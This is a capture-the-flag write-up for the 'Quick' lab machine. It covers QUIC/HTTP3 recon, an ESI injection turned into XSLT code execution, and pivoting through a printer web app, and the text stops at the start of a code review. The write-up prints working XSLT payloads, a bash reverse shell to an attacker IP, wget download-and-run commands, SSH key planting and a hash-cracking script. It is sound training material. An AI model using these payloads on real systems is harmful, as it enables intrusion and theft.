HTB: Quick
Quick was a chance to play with two technologies that I was familiar with, but I had never put hands on with either. First it was finding a website hosted over Quic / HTTP version 3. I’ll build curl so that I can access that, and find creds to get into a ticketing system. In that system, I will exploit an edge side include injection to get execution, and with a bit more work, a shell. Next I’ll exploit a new website available on localhost and take advantage of a race condition that allows me to read and write arbitrary files as the next user. Finally, to get root I’ll find creds in a cached config file. In Beyond Root, I’ll use a root shell to trouble-shoot my difficulties getting a shell and determine where things were breaking.
Box Info
| Name | Quick  Play on HackTheBox |
|---|---|
| Release Date | 25 Apr 2020 |
| Retire Date | 29 Aug 2020 |
| OS | Linux  |
| Base Points | Hard [40] |
| Rated Difficulty |  |
| Radar Graph |  |
 |
01:58:13 |
 |
02:57:12 |
| Creator |  |
Recon
nmap
nmap found two open TCP ports, SSH (22) and HTTP (9001):
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-30 14:03 EDT
Nmap scan report for 10.10.10.186
Host is up (0.016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
9001/tcp open tor-orport
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
root@kali# nmap -p 22,9001 -sC -sV -oA scans/nmap-tcpscripts 10.10.10.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-30 14:04 EDT
Nmap scan report for 10.10.10.186
Host is up (0.014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fb:b0:61:82:39:50:4b:21:a8:62:98:4c:9c:38:82:70 (RSA)
| 256 ee:bb:4b:72:63:17:10:ee:08:ff:e5:86:71:fe:8f:80 (ECDSA)
|_ 256 80:a6:c2:73:41:f0:35:4e:5f:61:a7:6a:50:ea:b8:2e (ED25519)
9001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Quick | Broadband Services
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.91 seconds
root@kali# nmap -p- -sU --min-rate 10000 -oA scans/nmap-alludp 10.10.10.186
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-30 14:28 EDT
Warning: 10.10.10.186 giving up on port because retransmission cap hit (10).
Nmap scan report for quick.htb (10.10.10.186)
Host is up (0.050s latency).
All 65535 scanned ports on quick.htb (10.10.10.186) are open|filtered (65457) or closed (78)
Nmap done: 1 IP address (1 host up) scanned in 73.42 seconds
It didn’t identify any UDP ports, but nmap is always unreliable with UDP, and I’ll show that to be the case shortly.
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 18.04 Bionic.
Website - TCP 9001
Site
The site is for an ISP:
Click for full size imageThere a few interesting links from the page:
- “clients” at the bottom goes to
/clients.php. - “Get Started” button is a link to
/login.php. - “portal” in the Update section is a link to
https://portal.quick.htb.
The last one is particularly interesting since typically a browser would read that as visiting that host on TCP 443, which wasn’t open on this host.
Directory Brute Force
I’ll run gobuster against the site, and include -x php since I know the site is PHP:
root@kali# gobuster dir -u http://10.10.10.186:9001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 30 -o scans/gobuster-ip-root-medium-php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.186:9001
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2020/04/30 14:15:02 Starting gobuster
===============================================================
/index.php (Status: 200)
/search.php (Status: 200)
/home.php (Status: 200)
/login.php (Status: 200)
/clients.php (Status: 200)
/db.php (Status: 200)
/ticket.php (Status: 200)
/server-status (Status: 200)
/%3FRID%3D2671 (Status: 200)
/%3FRID%3D2671.php (Status: 200)
===============================================================
2020/04/30 14:33:30 Finished
===============================================================
It does identify new pages, but nothing valuable yet:
search.phpanddb.phpboth return empty, likely used by other pages.home.phpandticket.phpboth respond “Invalid Username/Password” and redirect tologin.php.server-statusis not 403, which is unusual. Still it didn’t give me anything I found useful at this point.- The last two are FPs that just show
index.php.
/clients.php
This page returns a list of the clients:
/login.php
This page presents a login form:
Nothing obvious either in guessing or in SQLi worked, so moving on for now.
Virtual Hosts
Given the link above, I’ll add both portal.quick.htb and quick.htb to my /etc/hosts file. I’ll also use wfuzz to look for more with the following command:
wfuzz -c -u http://10.10.10.186:9001 -H "Host: FUZZ.quick.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --hh 3351
It didn’t find anything.
Website - UDP 443
QUIC Background
The only lead left is the link to https://portal.quick.htb. Visiting that site in Firefox fails to connect.
This is where some knowledge of new tech is useful. While most standard HTTP today is version 1.1 (standardized in 1997), there has been a push to move to more modern protocols. HTTP/2 was proposed in 2014 and released as a standard in 2015. In 2012, Google created QUIC, a general purpose transport layer protocol. This post from APNIC was a useful overview, and included these two images that show how QUIC compares to typical HTTPS over TCP:
Building Curl
Unfortunately, at the time the Quick box was released, not many tools on Kali support QUIC by default. I ended up using curl, using these instruction for building from source. I followed the section on quiche version and it worked. There were a couple times something would throw an error, and I’d have to go apt install something, but for the most part, it was smooth. Once I was done, there was a curl alternative located at /opt/curl/src/curl.
Website
Luckily the website is pretty simple, and I can get what I need with curl. Hitting the main page with this new curl run as /opt/curl/src/curl --http3 https://portal.quick.htb/ works:
<html>
<title> Quick | Customer Portal</title>
<h1>Quick | Portal</h1>
<head>
<style>
ul {
list-style-type: none;
margin: 0;
padding: 0;
width: 200px;
background-color: #f1f1f1;
}
li a {
display: block;
color: #000;
padding: 8px 16px;
text-decoration: none;
}
/* Change the link color on hover */
li a:hover {
background-color: #555;
color: white;
}
</style>
</head>
<body>
<p> Welcome to Quick User Portal</p>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="index.php?view=contact">Contact</a></li>
<li><a href="index.php?view=about">About</a></li>
<li><a href="index.php?view=docs">References</a></li>
</ul>
</html>
There are three links to visit. view=contact contains a form:
<body>
<h1>Quick | Contact</h1>
<div class="container">
<form action="/">
<label for="fname">First Name</label>
<input type="text" id="fname" name="firstname" placeholder="Your name..">
<label for="lname">Last Name</label>
<input type="text" id="lname" name="lastname" placeholder="Your last name..">
<label for="country">Country</label>
<select id="country" name="country">
<option value="australia">Australia</option>
<option value="canada">Canada</option>
<option value="usa">USA</option>
</select>
<label for="subject">Subject</label>
<textarea id="subject" name="subject" placeholder="Write something.." style="height:200px"></textarea>
<input type="submit" value="Submit">
</form>
</div>
</body>
I played with submitting data to it, but never got anything different out of index.php.
view=about has some info about people, which could be useful later:
<body>
<div class="about-section">
<h1>Quick | About Us </h1>
</div>
<h2 style="text-align:center">Our Team</h2>
<div class="row">
<div class="column">
<div class="card">
<img src="/w3images/team1.jpg" alt="Jane" style="width:100%">
<div class="container">
<h2>Jane Doe</h2>
<p class="title">CEO & Founder</p>
<p>Quick Broadband services established in 2012 by Jane.</p>
<p>jane@quick.htb</p>
</div>
</div>
</div>
<div class="column">
<div class="card">
<img src="/w3images/team2.jpg" alt="Mike" style="width:100%">
<div class="container">
<h2>Mike Ross</h2>
<p class="title">Sales Manager</p>
<p>Manages the sales and services.</p>
<p>mike@quick.htb</p>
</div>
</div>
</div>
<div class="column">
<div class="card">
<img src="/w3images/team3.jpg" alt="John" style="width:100%">
<div class="container">
<h2>John Doe</h2>
<p class="title">Web Designer</p>
<p>Front end developer.</p>
<p>john@quick.htb</p>
</div>
</div>
</div>
</div>
</body>
view=docs gives two more links:
<h1>Quick | References</h1>
<ul>
<li><a href="docs/QuickStart.pdf">Quick-Start Guide</a></li>
<li><a href="docs/Connectivity.pdf">Connectivity Guide</a></li>
</ul>
I’ll grab both with the following commands:
root@kali# /opt/curl/src/curl -s --http3 https://portal.quick.htb/docs/QuickStart.pdf > QuickStart.pdf
root@kali# /opt/curl/src/curl -s --http3 https://portal.quick.htb/docs/Connectivity.pdf > Connectivity.pdf
I tried some directory traversal attacks, and tried to get the PHP source using filters, but neither worked.
QuickStart.pdf didn’t seem to have anything useful, but Connectivity.pdf did:
Shell as sam
Panel Login
I’ll use the password I found in the PDF above to try to log into the TCP 9001 site. I tried the email addresses from the about page on the QUIC site, but it didn’t work. Since this is a client login, I remembered the testimonials on the front page, which were from:
- Tim (Qconsulting Pvt Ltd)
- Roy (DarkWng Solutions)
- Elisa (Wink Media)
- James (LazyCoop Pvt Ltd)
I also have the countries for each of these from clients.php:
| # | Client | Country |
|---|---|---|
| 1 | QConsulting Pvt Ltd | UK |
| 2 | Darkwing Solutions | US |
| 3 | Wink | UK |
| 4 | LazyCoop Pvt Ltd | China |
| 5 | ScoobyDoo | Italy |
| 6 | PenguinCrop | France |
After a ton of guessing around, I found a valid login combining the company name and the location: elisa@wink.co.uk / Quick4cc3$$.
Ticket System Enumeration
General
It’s important to visit the site at quick.htb and not by IP, as some functionality breaks otherwise.
Once logged in, there’s a dashboard for the “Quick | Ticketing System”.
The only two functional elements on the page that I could find were the search button and the Raise Ticket link.
Raise Ticket
Raise Ticket leads to a form:
Submitting some test data returns a JavaScript alert:
Looking at the POST request, it submits not only title and msg, but also id:
POST /ticket.php HTTP/1.1
Host: 10.10.10.186:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.186:9001/ticket.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: PHPSESSID=a09rqm19lifeaaubgj50mgu3p5
Upgrade-Insecure-Requests: 1
title=test&msg=Describe+your+query&id=TKT-4076
It looks like when I GET ticket.php, the id for the new ticket is sent down as a hidden field in the form. As far as I can tell, the four digit number is completely random.
The response contains only the <script> tag, as is common on boxes by MrR3boot:
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Via: 1.1 localhost (Apache-HttpClient/4.5.2 (cache))
X-Powered-By: Esigate
Content-Length: 131
Connection: close
<script>alert("Ticket NO : \"TKT-4076\" raised. We will answer you as soon as possible");window.location.href="/home.php";</script>
Search
Entering text into the text box and hitting enter does nothing, but clicking on Search, while it appears like nothing happens on the page, does generate a POST request:
GET /search.php?search=7261 HTTP/1.1
Host: quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://quick.htb:9001/home.php
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: PHPSESSID=uhaaq6hi3c631p92ms8285g564
On searching for the digits in a ticket I created, I get a table:
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Via: 1.1 localhost (Apache-HttpClient/4.5.2 (cache))
X-Powered-By: Esigate
Content-Length: 395
Connection: close
<br /><br /><table border="2" width="100%"><tr><td style="font-size:180%;">ID</td><td style="font-size:180%;">Title</td><td style="font-size:180%;">Description</td><td style="font-size:180%;">Status</td></tr><tr><td style="font-size:180%;">TKT-7261</td><td style="font-size:180%;">sadfas</td><td style="font-size:180%;">Describe your query</td><td style="font-size:180%;">open</td></tr></table>
And it shows up on the page:
ESI
One other thing I noticed in all the responses coming back is a pair of headers:
Via: 1.1 localhost (Apache-HttpClient/4.5.2 (cache))
X-Powered-By: Esigate
ESIGate devices are surrogates that handle caching of content and support the ESI web standard. The Via header is added by proxies. Based on this, I can assume that Esigate is running on localhost doing this ESI proxying.
Edge Side Include Injection
Background
Edge-Side Include (ESI) is a web standard that allows an edge device to cache a page with some static content. This blog uses the example of a weather page that might look like this:
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
So the edge caching device would cache the page just like this. And when someone requests the page, it will replace the <esi:include> tags by making the necessary calls itself.
The risk here is that if an attacker can submit something that will be processed by the server, and result in an ESI tag included in the response, the edge device will then process that and make the requests that the attacker wanted, as the edge device thinks it’s coming from the web server. The blog post above shows how this can be used for server-side request forgery (SSRF), bypassing client-side cross site scripting (XSS) filters, and (in the second post) using XSLT to get code execution. The example used for the last one is against ESIGate devices!
Configure Apache
I always use python3 -m http.server 80 to serve files from my host, but there are some things that get wonky here, and I found it easier to use Apache. To start Apache on Kali, all I had to run was service apache2 restart. I didn’t want Apache to send 304 responses (content not modified), so I disabled that by putting the following at the bottom of /etc/apache2/apache2.conf:
RequestHeader unset Last-Modified
RequestHeader unset If-None-Match
RequestHeader unset If-Modified-Since
When I then tried to restart Apache, I got an error message. The message said to run systemctl status apache2.service for more details:
root@kali# systemctl status apache2.service
● apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
Active: failed (Result: exit-code) since Wed 2020-05-06 10:29:17 EDT; 3s ago
Docs: https://httpd.apache.org/docs/2.4/
Process: 40687 ExecStart=/usr/sbin/apachectl start (code=exited, status=1/FAILURE)
May 06 10:29:17 kali systemd[1]: Starting The Apache HTTP Server...
May 06 10:29:17 kali apachectl[40690]: AH00526: Syntax error on line 229 of /etc/apache2/apache2.conf:
May 06 10:29:17 kali apachectl[40690]: Invalid command 'RequestHeader', perhaps misspelled or defined by a module not included in the server configuration
May 06 10:29:17 kali apachectl[40687]: Action 'start' failed.
May 06 10:29:17 kali apachectl[40687]: The Apache error log may have more information.
May 06 10:29:17 kali systemd[1]: apache2.service: Control process exited, code=exited, status=1/FAILURE
May 06 10:29:17 kali systemd[1]: apache2.service: Failed with result 'exit-code'.
May 06 10:29:17 kali systemd[1]: Failed to start The Apache HTTP Server.
Some Googling led me to the solution, running a2enmod headers, and then restarting Apache.
Now I can drop files into /var/www/html and they are served.
One of the things I like about the Python server is seeing in real time when something makes a request. I simulated that by running tail -f /var/log/apache2/access.log | cut -d' ' -f-9 in a tmux pane. Whenever there’s a connection, a new line spits out in that window. The cut is just to shorten the lines so that each line fits on one line (I don’t need the referrer or user-agent string).
If you choose not to use Apache, but rather want to stick with Python, the biggest issue is that it seems the second time the edge software requests a file, instead of sending a normal GET /file HTTP/1.1, it sends GET http://10.10.14.47/file HTTP/1.1. This breaks the Python web server. I can get around that by changing the name of the file or the port it is hosted on each time, but that’s a pain, and why I went with Apache.
Injection POC
To pull this off, I have to think about what content I can submit to this page that might be sent back to me through the edge. There are two places I could think of:
- When I submit a ticket, I send in the ticket ID, and it is displayed right back to me in the JavaScript alert.
- The ID, status, title, and message are stored and displayed back to me when I search for them on the front page.
I went into Burp and sent the POST request to create a ticket to Burp. I submitted the following POST body:
title=test&msg=test&id=TKT-7261<this is a test>
The response was perfect:
<script>alert("Ticket NO : \"TKT-7261<this is a test>\" raised. We will answer you as soon as possible");window.location.href="/home.php";</script>
I can see the <this is a test> tags perfectly intact. That means that the edge device would have seen this and processed it. To test, I created poc.html:
<b>0xdf was here</b>
Then in Repeater, I submitted:
title=test&msg=test&id=TKT-7261<esi:include src="http://10.10.14.47/poc.html" />
If the experiment works, the edge device will see the ESI tag, reach out to my box and get poc.html, and put the contents in place of the tag.
On submitting, I get a log from Apache:
10.10.10.186 - - [06/May/2020:17:51:11 -0400] "GET /poc.html HTTP/1.1" 200
And the response has the content:
<script>alert("Ticket NO : \"TKT-72610<b>0xdf was here</b>
\" raised. We will answer you as soon as possible");window.location.href="/home.php";</script>
The alternative place to try this would be in the message body or title. For example, I’ll submit a ticket like this:
title=test&msg=<esi:include src="http://10.10.14.47/poc.html" />&id=TKT-7264
Now when I search for it:
XSLT to RCE POC
To get RCE, I’ll include an ESI tag that looks like this:
<esi:include src="http://localhost/" stylesheet="http://10.10.14.47/esi.xsl">
</esi:include>
The first argument, src can be anything, but it has to resolve. Both localhost and 10.10.14.47 work. The second is the XSLT I’m going to load.
esi.xsl contains Java to run a command. In my first test, it’s a ping that I can listen for with tcpdump:
<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[ping -c 2 10.10.14.47]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>
When I send the following ticket creation:
POST /ticket.php HTTP/1.1
Host: quick.htb:9001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://quick.htb:9001/ticket.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 140
Connection: close
Cookie: PHPSESSID=uhaaq6hi3c631p92ms8285g564
Upgrade-Insecure-Requests: 1
title=0xdf&msg=Describe+your+query&id=TKT-5508;<esi:include src="http://localhost/" stylesheet="http://10.10.14.47/esi.xsl">
</esi:include>
I see it hit my Apache server (note the unusually request including the protocol and ip):
10.10.10.186 - - [06/May/2020:18:18:27 -0400] "GET http://10.10.14.47/esi.xsl HTTP/1.1" 200
And then pings in tcpdump:
root@kali# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
18:18:28.039806 IP 10.10.10.186 > 10.10.14.47: ICMP echo request, id 6885, seq 1, length 64
18:18:28.039845 IP 10.10.14.47 > 10.10.10.186: ICMP echo reply, id 6885, seq 1, length 64
18:18:29.040770 IP 10.10.10.186 > 10.10.14.47: ICMP echo request, id 6885, seq 2, length 64
18:18:29.040810 IP 10.10.14.47 > 10.10.10.186: ICMP echo reply, id 6885, seq 2, length 64
Shell
I tried a lot of ways to get a shell. I found very quickly that I could use single commands, but that anything involving a | or & doesn’t work. I’ll explore why in Beyond Root. But having figured that out through a lot of trial and error, I used a multi-stage approach. I created a simple reverse shell, shell:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.47/443 0>&1
Then I created two .xsl files, one that will upload the shell, and then one that will run it (using grep to just show the command part of the file below):
root@kali# grep CDATA /var/www/html/shell*
shellup.xsl:<xsl:variable name="cmd"><![CDATA[wget http://10.10.14.47/shell -O /tmp/a.sh]]></xsl:variable>
shellrun.xsl:<xsl:variable name="cmd"><![CDATA[bash /tmp/a.sh]]></xsl:variable>
In Repeater, I send:
title=0xdf&msg=Describe+your+query&id=TKT-5508;<esi:include src="http://localhost/" stylesheet="http://10.10.14.47/shellup.xsl">
</esi:include>
And then:
title=0xdf&msg=Describe+your+query&id=TKT-5508;<esi:include src="http://localhost/" stylesheet="http://10.10.14.47/shellrun.xsl">
</esi:include>
I get a shell:
root@kali# nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:55506.
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
sam@quick:~$
And grab user.txt:
sam@quick:~$ cat user.txt
b23772cd************************
Priv: sam –> srvadm
General Enumeration
Right away I see there are two users on the box:
sam@quick:~$ ls /home
sam srvadm
I’ll keep an eye out for ways to pivot to srvadm. Taking a look at the process list (ps auxww) was a good way to see various parts of the box running. There’s ESIGate software, running as sam:
sam 1073 0.3 9.0 3718872 364952 ? Sl May06 5:11 /usr/bin/java -Desigate.config=/home/sam/esigate-distribution-5.2/apps/esigate.properties -Dserver.port=9001 -jar /home/sam/esigate-distribution-5.2/apps/esigate-server.jar start
There’s a docker container with proxy set to forward udp 443 to it:
root 1831 0.0 0.0 404800 3772 ? Sl May06 0:00 /usr/bin/docker-proxy -proto udp -host-ip 0.0.0.0 -host-port 443 -container-ip 172.18.0.2 -container-port 443
root 1845 0.0 0.1 10772 5608 ? Sl May06 0:01 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/d63025c3f05b572471c86c790059b05f36c75fc90d975cb19288d5bc88d238ee -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root 1846 0.0 0.1 9364 5844 ? Sl May06 0:01 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/f78e2c79d2db3e029679c14060e7dcab4ffbba2167c107a7677f81024e8bc875 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
The Apache configuration shows two virtual hosts enabled on TCP 80 in /etc/apache2/sites-enabled/000-default.conf (comments removed):
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
AssignUserId srvadm srvadm
ServerName printerv2.quick.htb
DocumentRoot /var/www/printer
</VirtualHost>
The top block is the site I’ve been interacting with. But the bottom one is new. It’s also running as srvadm.
Accessing Printer Site
I’ll add printerv2.quick.htb to /etc/hosts, but I still can’t connect to it on TCP 80 or 9001. Since I know that the ESIGate is listening on 9001 and forwarding to http://localhost:80 from the config file from the process list:
sam@quick:~$ cat esigate-distribution-5.2/apps/esigate.properties
esigate.remoteUrlBase=http://localhost:80/
esigate.mappings=/*
It’s possible that ESI isn’t letting things through with the right vhost? Either way, I’ll want to tunnel to get to this vhost on localhost port 80. I’ll create a .ssh directory in sam’s homedir, and drop my public key into authorized keys. Because I got tired of doing this each time I walked away, I created two .xsl files that will create the directory and then upload my key into authorized_keys:
root@kali# grep CDATA ssh*
ssh1.xsl:<xsl:variable name="cmd"><![CDATA[mkdir -p /home/sam/.ssh]]></xsl:variable>
ssh2.xsl:<xsl:variable name="cmd"><![CDATA[wget http://10.10.14.47/id_rsa_generated.pub -O /home/sam/.ssh/authorized_keys]]></xsl:variable>
Then I wrote a bash script that will login, post the two files, then connect over SSH with a tunnel from my local box 9001 to 80 on Quick:
#!/bin/bash
COOKIEJAR=$(mktemp)
curl -s http://quick.htb:9001/login.php -d 'email=elisa%40wink.co.uk&password=Quick4cc3%24%24' --cookie-jar $COOKIEJAR
curl --cookie $COOKIEJAR -s http://quick.htb:9001/ticket.php -d 'title=0xdf&msg=Describe+your+query&id=TKT-5508;<esi:include src="http://localhost/" stylesheet="http://10.10.14.47/ssh1.xsl"></esi:include>' > /dev/ null
curl --cookie $COOKIEJAR -s http://quick.htb:9001/ticket.php -d 'title=0xdf&msg=Describe+your+query&id=TKT-5508;<esi:include src="http://localhost/" stylesheet="http://10.10.14.47/ssh2.xsl"></esi:include>' > /dev/ null
rm $COOKIEJAR
ssh -i ~/keys/id_rsa_generated sam@10.10.10.186 -L 9001:localhost:80
Running this presents an SSH session as SAM, and more importantly, there’s now a tunnel to the printer site. I’ll update /etc/hosts to have printerv2.quick.htb point to localhost, and visit http://printerv2.quick.htb:9001/ and get the page:
Get Login
Enumerate Form
As I already have a shell, I can look at what the site requires to login. Trying to login submits a POST to index.php, which is handled here:
<?php
include("db.php");
if(isset($_POST["email"]) && isset($_POST["password"]))
{
$email=$_POST["email"];
$password = $_POST["password"];
$password = md5(crypt($password,'fa'));
$stmt=$conn->prepare("select email,password from users where email=? and password=?");
$stmt->bind_param("ss",$email,$password);
$stmt->execute();
$result = $stmt->get_result();
$num_rows = $result->num_rows;
if($num_rows > 0 && $email === "srvadm@quick.htb")
{
session_start();
$_SESSION["loggedin"]=$email;
header("location: home.php");
}
else
{
echo '<script>alert("Invalid Credentials");window.location.href="/index.php";</script>';
}
}
else
{?>
...[snip login form html]...
The password is first passed to crypt, then the result is passed to md5, and that is compared to what’s in the database.
Dump Hash
db.php has the creds to connect to the database:
<?php
$conn = new mysqli("localhost","db_adm","db_p4ss","quick");
?>
I can connect and dump the users table:
sam@quick:/var/www/printer$ mysql -u db_adm -pdb_p4ss quick
...[snip]...
mysql> select * from users;
+--------------+------------------+----------------------------------+
| name | email | password |
+--------------+------------------+----------------------------------+
| Elisa | elisa@wink.co.uk | c6c35ae1f3cb19438e0199cfa72a9d9d |
| Server Admin | srvadm@quick.htb | e626d51f8fbfd1124fdea88396c35d05 |
+--------------+------------------+----------------------------------+
2 rows in set (0.00 sec)
Verify PHP and Python
I can pull up a PHP terminal (php -a)and test Elisa’s password, since I know it. According to the documentation, crypt makes a DES-based hash that is 13 characters, with the first two being the salt.
php > echo crypt('Quick4cc3$$','fa');
faue2Hiwim8Bc
If I add the md5 call, it makes an MD5, and it matches what’s in the database for elisa:
php > echo md5(crypt('Quick4cc3$$','fa'));
c6c35ae1f3cb19438e0199cfa72a9d9d
Since I’m going to need to write my own brute-force script, I’m going to use Python instead of PHP. I will first start with Elisa’s password and make sure the code works, and then pivot to Server Admin. I’ll open a Python3 REPL and import crypt and hashlib:
root@kali# python3
Python 3.8.2 (default, Apr 1 2020, 15:52:55)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib
>>> import crypt
crypt.crypt seems to work the same as PHP:
>>> crypt.crypt('Quick4cc3$$','fa')
'faue2Hiwim8Bc'
If I try to run hashlib.md5 on the result, it complains about encoding. I’ll encode the output, and then pass it to md5, and it works:
>>> hashlib.md5(crypt.crypt('Quick4cc3$$','fa').encode()).hexdigest()
'c6c35ae1f3cb19438e0199cfa72a9d9d'
With that, I’ve got to wrap a short script around it. I found that (at least my copy of)rockyou.txt actually crashes if you try to read lines as strings:
>>> with open('/usr/share/wordlists/rockyou.txt', 'r') as f:
... a = f.read()
...
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
File "/usr/lib/python3.8/codecs.py", line 322, in decode
(result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 5079973: invalid continuation byte
So I’ll read them in as bytes, decode them to pass to crypt. The resulting script is:
#!/usr/bin/env python3
import crypt
import hashlib
import sys
with open(sys.argv[2], 'rb') as f:
for passwd in f:
try:
if hashlib.md5(crypt.crypt(passwd.strip().decode(), 'fa').encode()).hexdigest() == sys.argv[1]:
print(f'[+] Found password: {passwd.decode()}')
sys.exit()
except UnicodeDecodeError:
pass
It takes two args: the hash to compare to, and the wordlist file to loop over. I can test it by adding elisa’s password to a file, and then giving it her hash:
root@kali# ./crack_hash.py c6c35ae1f3cb19438e0199cfa72a9d9d passwords
[+] Found password: Quick4cc3$$
Now I’ll give it srvadm’s hash and rockyou.txt, and it cracks in seven seconds:
root@kali# time ./crack_hash.py e626d51f8fbfd1124fdea88396c35d05 /usr/share/wordlists/rockyou.txt
[+] Found password: yl51pbx
real 0m6.826s
user 0m6.780s
sys 0m0.024s
I can submit that password with srvadm@quick.htb and it logs in, redirecting the browser to home.php:
Printerv2 Enumeration
On home.php there are links to printers.php, and add_printer.php. printers.php has a table listing the printers, currently none:
Clicking “add one” or on “Add Printer” at the top directs to add_printer.php:
I started nc on port 9100 to see when it connects. I can add a printer with my IP, and there’s no connect, it just says “Printer Added”. Back on printers.php, it now shows up:
The trashcan icon goes to http://printerv2.quick.htb:9001/printers.php?job=delete&title=0xdf, and removes the printer from the database. The printer icon makes an connection to my host on 9100, and immediately disconnects:
root@kali# nc -lnvp 9100
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:59960.
Now the page shows a banner with a link to http://printerv2.quick.htb:9001/job.php?title=0xdf:
That link presents a form:
If I enter “This is a test” into Bill Details and hit submit, a green box says “Job assigned”. Back on nc, there’s a connect, as well as the test I submitted plus a bit more:
root@kali# nc -lnvp 9100
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:60002.
This is a testVA
I’ll do that again, this time saving the nc output to a file:
root@kali# nc -lnvp 9100 | tee print_connection
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9100
Ncat: Listening on 0.0.0.0:9100
Ncat: Connection from 10.10.10.186.
Ncat: Connection from 10.10.10.186:60002.
This is a testVA
In addition to the ASCII I can see above, some control bytes are being sent as well:
root@kali# xxd print_connection
00000000: 1b40 5468 6973 2069 7320 6120 7465 7374 .@This is a test
00000010: 1d56 4103 .VA.
Code Review
Looking at the code, there’s an interesting section of code at the top of jobs.php that handles receiving the message and sending it to the printer:
